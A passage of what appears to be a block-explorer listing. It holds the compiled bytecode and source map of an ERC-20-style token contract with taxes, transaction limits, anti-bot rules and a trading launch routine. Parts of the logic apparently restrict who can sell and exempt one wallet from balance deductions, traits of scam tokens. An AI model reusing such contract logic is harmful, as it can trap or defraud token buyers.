2600401602060405180830381865afa158015610686573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106aa919061170e565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156106f4573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610718919061170e565b601480546001600160a01b039283166001600160a01b031990911617905560135461010090041663f305d7194730610764816001600160a01b03165f908152600e602052604090205490565b5f806107775f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156107dd573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906108029190611729565b505060145460135460405163095ea7b360e01b81526001600160a01b03610100909204821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af115801561085c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108809190611754565b506014805462ff00ff60a01b19166201000160a01b179055565b5f546001600160a01b031633146108c35760405162461bcd60e51b8152600401610484906116ed565b6108cf6009600a6116c8565b6108dd906305f5e1006116d6565b6001556108ec6009600a6116c8565b6108fa906305f5e1006116d6565b6002556013805460ff191690557fc2ac397216caacad63a61a38b7cf9e706b52802384d1951c5f9b2d7b79b365bb6109346009600a6116c8565b610942906305f5e1006116d6565b60405190815260200160405180910390a1565b6001600160a01b0383166109b75760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610484565b6001600160a01b038216610a185760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610484565b6001600160a01b038381165f818152600f602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ae15760405162461bcd60e51b815260206004820152602a60248201527f45524332303a20207472616e73666572202066726f6d202074686520207a65726044820152696f20206164647265737360b01b6064820152608401610484565b6001600160a01b038216610b435760405162461bcd60e51b8152602060048201526024808201527f45524332303a207472616e7366657220746f20746865207a65726f20206164646044820152637265737360e01b6064820152608401610484565b5f8111610baa5760405162461bcd60e51b815260206004820152602f60248201527f5472616e736665722020616d6f756e7420206d7573742020626520206772656160448201526e74657220207468616e20207a65726f60881b6064820152608401610484565b5f80546001600160a01b03858116911614801590610bd557505f546001600160a01b03848116911614155b15610fab5760135460ff1615610c9d576013546001600160a01b038481166101009092041614801590610c1657506014546001600160a01b03848116911614155b15610c9d57325f908152601260205260409020544311610c8b5760405162461bcd60e51b815260206004820152602a60248201527f204f6e6c7920206f6e6520207472616e7366657220207065722020626c6f636b604482015269101030b63637bbb2b21760b11b6064820152608401610484565b325f9081526012602052604090204390555b6014546001600160a01b038581169116148015610ccd57506013546001600160a01b038481166101009092041614155b8015610cf157506001600160a01b0383165f9081526010602052604090205460ff16155b15610de857600154821115610d185760405162461bcd60e51b815260040161048490611773565b60025482610d3a856001600160a01b03165f908152600e602052604090205490565b610d449190611794565b1115610d625760405162461bcd60e51b815260040161048490611773565b600b54600c541015610d8057610d7783611122565b15610d80575f80fd5b600c8054905f610d8f836117a7565b90915550506001600160a01b0383165f908152601160205260409020805460ff19166001179055600954600c54610de591606491610ddf9110610dd457600554610dd8565b6007545b859061117b565b906111da565b90505b6014546001600160a01b038481169116148015610e0e57506001600160a01b0384163014155b8015610e3257506001600160a01b0384165f9081526010602052604090205460ff16155b15610ed8576001548211158015610e635750600454600d546001600160a01b03165f908152600e6020526040902054105b610e7f5760405162461bcd60e51b815260040161048490611773565b610ea46064610ddf600a54600c5411610e9a57600654610dd8565b600854859061117b565b9050600b54600c54118015610ed057506001600160a01b0384165f9081526011602052604090205460ff165b610ed8575f80fd5b305f908152600e6020526040902054601454600160a81b900460ff16158015610f0e57506014546001600160a01b038581169116145b8015610f235750601454600160b01b900460ff165b8015610f30575060035481115b8015610f3f5750600b54600c54115b8015610f6357506001600160a01b0384165f9081526010602052604090205460ff16155b8015610f8757506001600160a01b0385165f9081526010602052604090205460ff16155b15610fa957610fa9610fa484610f9f84600454611206565b611206565b61121b565b505b801561102357305f908152600e6020526040902054610fca90826113c7565b305f818152600e6020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061101a9085815260200190565b60405180910390a35b6001600160a01b0384165f908152600e602052604090205461104790859084611410565b6001600160a01b0385165f908152600e602052604090205561108a61106c8383611460565b6001600160a01b0385165f908152600e6020526040902054906113c7565b6001600160a01b038085165f818152600e602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6110d38585611460565b60405190815260200160405180910390a350505050565b5f818484111561110d5760405162461bcd60e51b815260040161048491906114b8565b505f61111984866117bf565b95945050505050565b6040805160018082528183019092525f91829182916020808301908036833701905050905083815f8151811061115a5761115a6117d2565b6001600160a01b03909216602092830291909101909101525050503b151590565b5f825f0361118a57505f6103cd565b5f61119583856116d6565b9050826111a285836117e6565b146104545760405162461bcd60e51b81526020600482015260086024820152670a6c2ccca9ac2e8d60c31b6044820152606401610484565b5f6104548383604051806040016040528060088152602001670a6c2ccca9ac2e8d60c31b81525061148c565b5f818310156112155782610454565b50919050565b6014805460ff60a81b1916600160a81b17905580156113b757601454600160a01b900460ff16156113b7576040805160028082526060820183525f9260208301908036833701905050905030815f81518110611279576112796117d2565b60200260200101906001600160a01b031690816001600160a01b031681525050601360019054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156112ea573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061130e919061170e565b81600181518110611321576113216117d2565b6001600160a01b03928316602091820292909201015260135461134c91309161010090041684610955565b60135460405163791ac94760e01b81526101009091046001600160a01b03169063791ac947906113889085905f90869030904290600401611805565b5f604051808303815f87803b15801561139f575f80fd5b505af11580156113b1573d5f803e3d5ffd5b50505050505b506014805460ff60a81b19169055565b5f806113d38385611794565b9050838110156104545760405162461bcd60e51b81526020600482015260086024820152670a6c2ccca9ac2e8d60c31b6044820152606401610484565b600d545f906001600160a01b039081169085160361142f575081610454565b8183101561144f5760405162461bcd60e51b815260040161048490611773565b61145982846117bf565b9050610454565b5f6104548383604051806040016040528060088152602001670a6c2ccca9ac2e8d60c31b8152506110ea565b5f81836114ac5760405162461bcd60e51b815260040161048491906114b8565b505f61111984866117e6565b5f6020808352835180828501525f5b818110156114e3578581018301518582016040015282016114c7565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611517575f80fd5b50565b5f806040838503121561152b575f80fd5b823561153681611503565b946020939093013593505050565b5f805f60608486031215611556575f80fd5b833561156181611503565b9250602084013561157181611503565b929592945050506040919091013590565b5f60208284031215611592575f80fd5b813561045481611503565b5f80604083850312156115ae575f80fd5b82356115b981611503565b915060208301356115c981611503565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561162257815f1904821115611608576116086115d4565b8085161561161557918102915b93841c93908002906115ed565b509250929050565b5f82611638575060016103cd565b8161164457505f6103cd565b816001811461165a576002811461166457611680565b60019150506103cd565b60ff841115611675576116756115d4565b50506001821b6103cd565b5060208310610133831016604e8410600b84101617156116a3575081810a6103cd565b6116ad83836115e8565b805f19048211156116c0576116c06115d4565b029392505050565b5f61045460ff84168361162a565b80820281158282048414176103cd576103cd6115d4565b6020808252600790820152664f776e61626c6560c81b604082015260600190565b5f6020828403121561171e575f80fd5b815161045481611503565b5f805f6060848603121561173b575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611764575f80fd5b81518015158114610454575f80fd5b60208082526007908201526608cc2e4c4d2c8d60cb1b604082015260600190565b808201808211156103cd576103cd6115d4565b5f600182016117b8576117b86115d4565b5060010190565b818103818111156103cd576103cd6115d4565b634e487b7160e01b5f52603260045260245ffd5b5f8261180057634e487b7160e01b5f52601260045260245ffd5b500490565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156118535784516001600160a01b03168352938301939183019160010161182e565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d14315c73658d5b09ec655c78593c22f39b8aef30b9c5388a0028be487e5017064736f6c63430008140033

Deployed Bytecode Sourcemap

3482:8263:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5380:83;;;;;;;;;;-1:-1:-1;5450:5:0;;;;;;;;;;;;;;;;;5380:83;;;;;;;:::i;:::-;;;;;;;;6220:161;;;;;;;;;;-1:-1:-1;6220:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6220:161:0;1023:187:1;5657:100:0;;;;;;;;;;;;;:::i;:::-;;;1361:25:1;;;1349:2;1334:18;5657:100:0;1215:177:1;6389:316:0;;;;;;;;;;-1:-1:-1;6389:316:0;;;;;:::i;:::-;;:::i;5566:83::-;;;;;;;;;;-1:-1:-1;5566:83:0;;3732:1;2000:36:1;;1988:2;1973:18;5566:83:0;1858:184:1;5765:119:0;;;;;;;;;;-1:-1:-1;5765:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;5858:18:0;5831:7;5858:18;;;:9;:18;;;;;;;5765:119;2652:148;;;;;;;;;;;;;:::i;:::-;;3864:46;;;;;;;;;;;;;;;;2463:79;;;;;;;;;;-1:-1:-1;2501:7:0;2528:6;-1:-1:-1;;;;;2528:6:0;2463:79;;;-1:-1:-1;;;;;2463:32:1;;;2445:51;;2433:2;2418:18;2463:79:0;2299:203:1;4331:72:0;;;;;;;;;;-1:-1:-1;4331:72:0;;;;-1:-1:-1;;;;;4331:72:0;;;5471:87;;;;;;;;;;-1:-1:-1;5543:7:0;;;;;;;;;;;;-1:-1:-1;;;5543:7:0;;;;5471:87;;3972:42;;;;;;;;;;;;;;;;5892:167;;;;;;;;;;-1:-1:-1;5892:167:0;;;;;:::i;:::-;;:::i;3816:41::-;;;;;;;;;;;;;;;;11014:682;;;;;;;;;;;;;:::i;4704:37::-;;;;;;;;;;-1:-1:-1;4704:37:0;;;;;;;;3917:48;;;;;;;;;;;;;;;;10513:215;;;;;;;;;;;;;:::i;6067:145::-;;;;;;;;;;-1:-1:-1;6067:145:0;;;;;:::i;:::-;-1:-1:-1;;;;;6176:19:0;;;6149:7;6176:19;;;:11;:19;;;;;;;;:28;;;;;;;;;;;;;6067:145;6220:161;6295:4;6312:39;2110:10;6335:7;6344:6;6312:8;:39::i;:::-;-1:-1:-1;6369:4:0;6220:161;;;;;:::o;5657:100::-;5710:7;3795:13;3732:1;3795:2;:13;:::i;:::-;3782:27;;:9;:27;:::i;:::-;5730:19;;5657:100;:::o;6389:316::-;6487:4;6504:36;6514:6;6522:9;6533:6;6504:9;:36::i;:::-;6551:124;6560:6;2110:10;6582:92;6623:6;6582:92;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6582:19:0;;;;;;:11;:19;;;;;;;;2110:10;6582:33;;;;;;;;;;:40;:92::i;:::-;6551:8;:124::i;:::-;-1:-1:-1;6693:4:0;6389:316;;;;;;:::o;2652:148::-;2590:6;;-1:-1:-1;;;;;2590:6:0;2110:10;2590:22;2582:42;;;;-1:-1:-1;;;2582:42:0;;;;;;;:::i;:::-;;;;;;;;;2759:1:::1;2743:6:::0;;2722:40:::1;::::0;-1:-1:-1;;;;;2743:6:0;;::::1;::::0;2722:40:::1;::::0;2759:1;;2722:40:::1;2790:1;2773:19:::0;;-1:-1:-1;;;;;;2773:19:0::1;::::0;;2652:148::o;5892:167::-;5970:4;5987:42;2110:10;6011:9;6022:6;5987:9;:42::i;11014:682::-;2590:6;;-1:-1:-1;;;;;2590:6:0;2110:10;2590:22;2582:42;;;;-1:-1:-1;;;2582:42:0;;;;;;;:::i;:::-;11079:10:::1;::::0;-1:-1:-1;;;11079:10:0;::::1;;;11078:11;11069:42;;;::::0;-1:-1:-1;;;11069:42:0;;5125:2:1;11069:42:0::1;::::0;::::1;5107:21:1::0;5164:2;5144:18;;;5137:30;-1:-1:-1;;;5183:18:1;;;5176:47;5240:18;;11069:42:0::1;4923:341:1::0;11069:42:0::1;11123:15;:82:::0;;-1:-1:-1;;;;;;11123:82:0::1;::::0;::::1;::::0;;;;11216:64:::1;::::0;11235:4:::1;::::0;-1:-1:-1;;;;;11123:82:0::1;11249:15:::0;;::::1;;3795:13;3732:1;3795:2;:13;:::i;:::-;3782:27;::::0;:9:::1;:27;:::i;11216:64::-;11324:15;;;;;;;;;-1:-1:-1::0;;;;;11324:15:0::1;-1:-1:-1::0;;;;;11324:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11304:57:0::1;;11371:4;11378:15;;;;;;;;;-1:-1:-1::0;;;;;11378:15:0::1;-1:-1:-1::0;;;;;11378:21:0::1;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11304:98;::::0;-1:-1:-1;;;;;;11304:98:0::1;::::0;;;;;;-1:-1:-1;;;;;5755:15:1;;;11304:98:0::1;::::0;::::1;5737:34:1::0;5807:15;;5787:18;;;5780:43;5672:18;;11304:98:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11291:10;:111:::0;;-1:-1:-1;;;;;11291:111:0;;::::1;-1:-1:-1::0;;;;;;11291:111:0;;::::1;;::::0;;11413:15:::1;::::0;11291:111:::1;11413:15:::0;::::1;;:31;11452:21;11485:4;11491:25;11485:4:::0;-1:-1:-1;;;;;5858:18:0;5831:7;5858:18;;;:9;:18;;;;;;;5765:119;11491:25:::1;11517:1;11519::::0;11521:7:::1;2501::::0;2528:6;-1:-1:-1;;;;;2528:6:0;;2463:79;11521:7:::1;11413:132;::::0;::::1;::::0;;;-1:-1:-1;;;;;;11413:132:0;;;-1:-1:-1;;;;;6193:15:1;;;11413:132:0::1;::::0;::::1;6175:34:1::0;6225:18;;;6218:34;;;;6268:18;;;6261:34;;;;6311:18;;;6304:34;6375:15;;;6354:19;;;6347:44;11529:15:0::1;6407:19:1::0;;;6400:35;6109:19;;11413:132:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;11564:10:0::1;::::0;11593:15:::1;::::0;11556:71:::1;::::0;-1:-1:-1;;;11556:71:0;;-1:-1:-1;;;;;11564:10:0::1;11593:15:::0;;::::1;::::0;::::1;11556:71;::::0;::::1;6931:51:1::0;-1:-1:-1;;6998:18:1;;;6991:34;11564:10:0;::::1;::::0;-1:-1:-1;11556:27:0::1;::::0;6904:18:1;;11556:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;11638:13:0::1;:20:::0;;-1:-1:-1;;;;11670:17:0;-1:-1:-1;;;11670:17:0;;;11014:682::o;10513:215::-;2590:6;;-1:-1:-1;;;;;2590:6:0;2110:10;2590:22;2582:42;;;;-1:-1:-1;;;2582:42:0;;;;;;;:::i;:::-;3795:13:::1;3732:1;3795:2;:13;:::i;:::-;3782:27;::::0;:9:::1;:27;:::i;:::-;10567:11;:28:::0;3795:13:::1;3732:1;3795:2;:13;:::i;:::-;3782:27;::::0;:9:::1;:27;:::i;:::-;10607:16;:31:::0;10650:16:::1;:24:::0;;-1:-1:-1;;10650:24:0::1;::::0;;10692:27:::1;3795:13;3732:1;3795:2;:13;:::i;:::-;3782:27;::::0;:9:::1;:27;:::i;:::-;10692;::::0;1361:25:1;;;1349:2;1334:18;10692:27:0::1;;;;;;;10513:215::o:0;6713:337::-;-1:-1:-1;;;;;6807:19:0;;6799:68;;;;-1:-1:-1;;;6799:68:0;;7520:2:1;6799:68:0;;;7502:21:1;7559:2;7539:18;;;7532:30;7598:34;7578:18;;;7571:62;-1:-1:-1;;;7649:18:1;;;7642:34;7693:19;;6799:68:0;7318:400:1;6799:68:0;-1:-1:-1;;;;;6886:20:0;;6878:67;;;;-1:-1:-1;;;6878:67:0;;7925:2:1;6878:67:0;;;7907:21:1;7964:2;7944:18;;;7937:30;8003:34;7983:18;;;7976:62;-1:-1:-1;;;8054:18:1;;;8047:32;8096:19;;6878:67:0;7723:398:1;6878:67:0;-1:-1:-1;;;;;6956:19:0;;;;;;;:11;:19;;;;;;;;:28;;;;;;;;;;;;;:37;;;7009:33;;1361:25:1;;;7009:33:0;;1334:18:1;7009:33:0;;;;;;;6713:337;;;:::o;7058:2579::-;-1:-1:-1;;;;;7147:17:0;;7138:73;;;;-1:-1:-1;;;7138:73:0;;8328:2:1;7138:73:0;;;8310:21:1;8367:2;8347:18;;;8340:30;8406:34;8386:18;;;8379:62;-1:-1:-1;;;8457:18:1;;;8450:40;8507:19;;7138:73:0;8126:406:1;7138:73:0;-1:-1:-1;;;;;7231:15:0;;7222:65;;;;-1:-1:-1;;;7222:65:0;;8739:2:1;7222:65:0;;;8721:21:1;8778:2;8758:18;;;8751:30;8817:34;8797:18;;;8790:62;-1:-1:-1;;;8868:18:1;;;8861:34;8912:19;;7222:65:0;8537:400:1;7222:65:0;7316:1;7307:6;:10;7298:71;;;;-1:-1:-1;;;7298:71:0;;9144:2:1;7298:71:0;;;9126:21:1;9183:2;9163:18;;;9156:30;9222:34;9202:18;;;9195:62;-1:-1:-1;;;9273:18:1;;;9266:45;9328:19;;7298:71:0;8942:411:1;7298:71:0;7380:18;2528:6;;-1:-1:-1;;;;;7419:15:0;;;2528:6;;7419:15;;;;:30;;-1:-1:-1;2501:7:0;2528:6;-1:-1:-1;;;;;7437:12:0;;;2528:6;;7437:12;;7419:30;7413:1832;;;7473:16;;;;7468:316;;;7528:15;;-1:-1:-1;;;;;7515:29:0;;;7528:15;;;;;7515:29;;;;:56;;-1:-1:-1;7560:10:0;;-1:-1:-1;;;;;7547:24:0;;;7560:10;;7547:24;;7515:56;7510:259;;;7617:9;7603:24;;;;:13;:24;;;;;;7630:12;-1:-1:-1;7594:95:0;;;;-1:-1:-1;;;7594:95:0;;9560:2:1;7594:95:0;;;9542:21:1;9599:2;9579:18;;;9572:30;9638:34;9618:18;;;9611:62;-1:-1:-1;;;9689:18:1;;;9682:40;9739:19;;7594:95:0;9358:406:1;7594:95:0;7724:9;7710:24;;;;:13;:24;;;;;7737:12;7710:39;;7510:259;7814:10;;-1:-1:-1;;;;;7806:18:0;;;7814:10;;7806:18;:52;;;;-1:-1:-1;7842:15:0;;-1:-1:-1;;;;;7828:30:0;;;7842:15;;;;;7828:30;;7806:52;:70;;;;-1:-1:-1;;;;;;7862:14:0;;;;;;:10;:14;;;;;;;;7861:15;7806:70;7800:512;;;7916:11;;7906:6;:21;;7897:42;;;;-1:-1:-1;;;7897:42:0;;;;;;;:::i;:::-;7994:16;;7984:6;7967:14;7978:2;-1:-1:-1;;;;;5858:18:0;5831:7;5858:18;;;:9;:18;;;;;;;5765:119;7967:14;:23;;;;:::i;:::-;:43;;7958:63;;;;-1:-1:-1;;;7958:63:0;;;;;;;:::i;:::-;8057:10;;8045:9;;:22;8040:92;;;8100:11;8108:2;8100:7;:11::i;:::-;8099:12;8090:22;;;;;;8150:9;:12;;;:9;:12;;;:::i;:::-;;;;-1:-1:-1;;;;;;;8165:14:0;;;;;;:10;:14;;;;;:21;;-1:-1:-1;;8165:21:0;8182:4;8165:21;;;8241:16;;8229:9;;8217:79;;8292:3;;8217:70;;-1:-1:-1;8228:58:0;;8272:14;;8228:58;;;8259:12;;8228:58;8217:6;;:10;:70::i;:::-;:74;;:79::i;:::-;8205:91;;7800:512;8337:10;;-1:-1:-1;;;;;8331:16:0;;;8337:10;;8331:16;:39;;;;-1:-1:-1;;;;;;8349:21:0;;8365:4;8349:21;;8331:39;:60;;;;-1:-1:-1;;;;;;8375:16:0;;;;;;:10;:16;;;;;;;;8373:18;8331:60;8328:366;;;8431:11;;8421:6;:21;;:61;;;;-1:-1:-1;8470:12:0;;8456:11;;-1:-1:-1;;;;;8456:11:0;5831:7;5858:18;;;:9;:18;;;;;;8446:36;8421:61;8412:82;;;;-1:-1:-1;;;8412:82:0;;;;;;;:::i;:::-;8525:83;8604:3;8525:74;8549:17;;8537:9;;:29;8536:62;;8583:15;;8536:62;;;8569:13;;8525:6;;:10;:74::i;:83::-;8513:95;;8647:10;;8636:9;;:21;:41;;;;-1:-1:-1;;;;;;8661:16:0;;;;;;:10;:16;;;;;;;;8636:41;8627:51;;;;;;8759:4;8710:28;5858:18;;;:9;:18;;;;;;8785:12;;-1:-1:-1;;;8785:12:0;;;;8784:13;:48;;;;-1:-1:-1;8822:10:0;;-1:-1:-1;;;;;8816:16:0;;;8822:10;;8816:16;8784:48;:63;;;;-1:-1:-1;8834:13:0;;-1:-1:-1;;;8834:13:0;;;;8784:63;:107;;;;;8873:18;;8850:20;:41;8784:107;:148;;;;;8922:10;;8910:9;;:22;8784:148;:168;;;;-1:-1:-1;;;;;;8937:15:0;;;;;;:10;:15;;;;;;;;8935:17;8784:168;:190;;;;-1:-1:-1;;;;;;8957:17:0;;;;;;:10;:17;;;;;;;;8955:19;8784:190;8780:454;;;9010:70;9024:55;9030:6;9037:41;9043:20;9065:12;;9037:5;:41::i;:::-;9024:5;:55::i;:::-;9010:13;:70::i;:::-;7451:1794;7413:1832;9262:13;;9257:174;;9337:4;9318:25;;;;:9;:25;;;;;;:40;;9348:9;9318:29;:40::i;:::-;9309:4;9291:24;;;;:9;:24;;;;;;;:67;;;;9377:42;;-1:-1:-1;;;;;9377:42:0;;;;;;;9409:9;1361:25:1;;1349:2;1334:18;;1215:177;9377:42:0;;;;;;;;9257:174;-1:-1:-1;;;;;9472:16:0;;;;;;:9;:16;;;;;;9459:38;;9465:4;;9490:6;9459:5;:38::i;:::-;-1:-1:-1;;;;;9441:15:0;;;;;;:9;:15;;;;;:56;9524:43;9542:24;:6;9556:9;9542:12;:24::i;:::-;-1:-1:-1;;;;;9524:13:0;;;;;;:9;:13;;;;;;;:17;:43::i;:::-;-1:-1:-1;;;;;9508:13:0;;;;;;;:9;:13;;;;;:59;;;;9584:45;;;9604:24;:6;9618:9;9604:13;:24::i;:::-;9584:45;;1361:25:1;;;1349:2;1334:18;9584:45:0;;;;;;;7127:2510;7058:2579;;;:::o;1239:193::-;1328:7;1364:12;1356:6;;;;1348:29;;;;-1:-1:-1;;;1348:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1388:9:0;1400:5;1404:1;1400;:5;:::i;:::-;1388:17;1239:193;-1:-1:-1;;;;;1239:193:0:o;10735:269::-;10856:16;;;10870:1;10856:16;;;;;;;;;10791:4;;;;;;10856:16;;;;;;;;;;;-1:-1:-1;10856:16:0;10827:45;;10894:7;10879:9;10889:1;10879:12;;;;;;;;:::i;:::-;-1:-1:-1;;;;;10879:22:0;;;:12;;;;;;;;;;;:22;-1:-1:-1;;;10942:20:0;10984:12;;;10735:269::o;1440:221::-;1498:7;1522:1;1527;1522:6;1518:47;;-1:-1:-1;1552:1:0;1545:8;;1518:47;1575:9;1587:5;1591:1;1587;:5;:::i;:::-;1575:17;-1:-1:-1;1620:1:0;1611:5;1615:1;1575:17;1611:5;:::i;:::-;:10;1603:31;;;;-1:-1:-1;;;1603:31:0;;11195:2:1;1603:31:0;;;11177:21:1;11234:1;11214:18;;;11207:29;-1:-1:-1;;;11252:18:1;;;11245:38;11300:18;;1603:31:0;10993:331:1;1669:114:0;1727:7;1754:21;1758:1;1761;1754:21;;;;;;;;;;;;;-1:-1:-1;;;1754:21:0;;;:3;:21::i;10169:106::-;10228:7;10257:1;10252;:6;;10251:16;;10266:1;10251:16;;;-1:-1:-1;10262:1:0;10169:106;-1:-1:-1;10169:106:0:o;9645:516::-;5032:12;:19;;-1:-1:-1;;;;5032:19:0;-1:-1:-1;;;5032:19:0;;;9729:34;;9755:7:::1;9729:34;9777:10;::::0;-1:-1:-1;;;9777:10:0;::::1;;;9773:24:::0;9789:7:::1;9773:24;9832:19;::::0;;9849:1:::1;9832:19:::0;;;;;::::1;::::0;;9807:21:::1;::::0;9832:19:::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;9832:19:0::1;9807:44;;9881:4;9862;9867:1;9862:7;;;;;;;;:::i;:::-;;;;;;:24;-1:-1:-1::0;;;;;9862:24:0::1;;;-1:-1:-1::0;;;;;9862:24:0::1;;;::::0;::::1;9907:15;;;;;;;;;-1:-1:-1::0;;;;;9907:15:0::1;-1:-1:-1::0;;;;;9907:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9897:4;9902:1;9897:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9897:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;9974:15:::1;::::0;9940:71:::1;::::0;9958:4:::1;::::0;9974:15:::1;::::0;::::1;;9992:18:::0;9940:8:::1;:71::i;:::-;10022:15;::::0;:131:::1;::::0;-1:-1:-1;;;10022:131:0;;:15:::1;::::0;;::::1;-1:-1:-1::0;;;;;10022:15:0::1;::::0;:66:::1;::::0;:131:::1;::::0;10090:18;;10110:1:::1;::::0;10113:4;;10127::::1;::::0;10134:17:::1;::::0;10022:131:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;9718:443;5062:1;-1:-1:-1::0;5074:12:0;:20;;-1:-1:-1;;;;5074:20:0;;;9645:516::o;943:160::-;1001:7;;1033:5;1037:1;1033;:5;:::i;:::-;1021:17;;1062:1;1057;:6;;1049:27;;;;-1:-1:-1;;;1049:27:0;;11195:2:1;1049:27:0;;;11177:21:1;11234:1;11214:18;;;11207:29;-1:-1:-1;;;11252:18:1;;;11245:38;11300:18;;1049:27:0;10993:331:1;10283:222:0;10384:11;;10356:7;;-1:-1:-1;;;;;10384:11:0;;;10376:19;;;;10372:126;;-1:-1:-1;10415:1:0;10408:8;;10372:126;10454:1;10449;:6;;10441:26;;;;-1:-1:-1;;;10441:26:0;;;;;;;:::i;:::-;10485:5;10489:1;10485;:5;:::i;:::-;10478:12;;;;1111:120;1172:7;1200:23;1206:1;1209;1200:23;;;;;;;;;;;;;-1:-1:-1;;;1200:23:0;;;:5;:23::i;1791:189::-;1877:7;1912:12;1905:5;1897:28;;;;-1:-1:-1;;;1897:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1936:9:0;1948:5;1952:1;1948;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;2507:388::-;2575:6;2583;2636:2;2624:9;2615:7;2611:23;2607:32;2604:52;;;2652:1;2649;2642:12;2604:52;2691:9;2678:23;2710:31;2735:5;2710:31;:::i;:::-;2760:5;-1:-1:-1;2817:2:1;2802:18;;2789:32;2830:33;2789:32;2830:33;:::i;:::-;2882:7;2872:17;;;2507:388;;;;;:::o;2900:127::-;2961:10;2956:3;2952:20;2949:1;2942:31;2992:4;2989:1;2982:15;3016:4;3013:1;3006:15;3032:422;3121:1;3164:5;3121:1;3178:270;3199:7;3189:8;3186:21;3178:270;;;3258:4;3254:1;3250:6;3246:17;3240:4;3237:27;3234:53;;;3267:18;;:::i;:::-;3317:7;3307:8;3303:22;3300:55;;;3337:16;;;;3300:55;3416:22;;;;3376:15;;;;3178:270;;;3182:3;3032:422;;;;;:::o;3459:806::-;3508:5;3538:8;3528:80;;-1:-1:-1;3579:1:1;3593:5;;3528:80;3627:4;3617:76;;-1:-1:-1;3664:1:1;3678:5;;3617:76;3709:4;3727:1;3722:59;;;;3795:1;3790:130;;;;3702:218;;3722:59;3752:1;3743:10;;3766:5;;;3790:130;3827:3;3817:8;3814:17;3811:43;;;3834:18;;:::i;:::-;-1:-1:-1;;3890:1:1;3876:16;;3905:5;;3702:218;;4004:2;3994:8;3991:16;3985:3;3